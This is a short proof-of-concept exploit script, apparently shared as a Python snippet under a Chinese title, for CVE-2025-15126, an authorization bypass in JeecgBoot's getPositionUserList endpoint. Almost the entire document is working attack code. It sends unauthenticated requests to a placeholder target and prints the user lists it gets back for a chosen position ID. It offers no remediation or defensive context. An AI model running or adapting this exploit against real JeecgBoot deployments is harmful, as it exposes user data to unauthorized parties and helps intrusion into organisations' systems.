CVE-2025-15126 JeecgBoot getPositionUserList接口权限绕过漏洞

import requests # CVE-2025-15126 PoC - JeecgBoot Improper Authorization # Target: JeecgBoot <= 3.9.0 # Endpoint: /sys/position/getPositionUserList TARGET_URL = "http://target-server.com/jeecg-boot" # Replace with actual position ID to enumerate POSITION_ID = 1 def exploit_cve_2025_15126(): """Exploit for improper authorization in getPositionUserList endpoint""" endpoint = f"{TARGET_URL}/sys/position/getPositionUserList" params = { "positionId": POSITION_ID } # Request with low-privilege or no authentication headers = { "Content-Type": "application/json" } try: response = requests.get(endpoint, params=params, headers=headers, timeout=10) if response.status_code == 200: data = response.json() if data.get("success"): print("[+] Authorization bypass successful!") print(f"[+] Retrieved user list for position ID: {POSITION_ID}") print(f"[+] Response: {data}") return True print("[-] Exploitation failed or patch already applied") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": exploit_cve_2025_15126()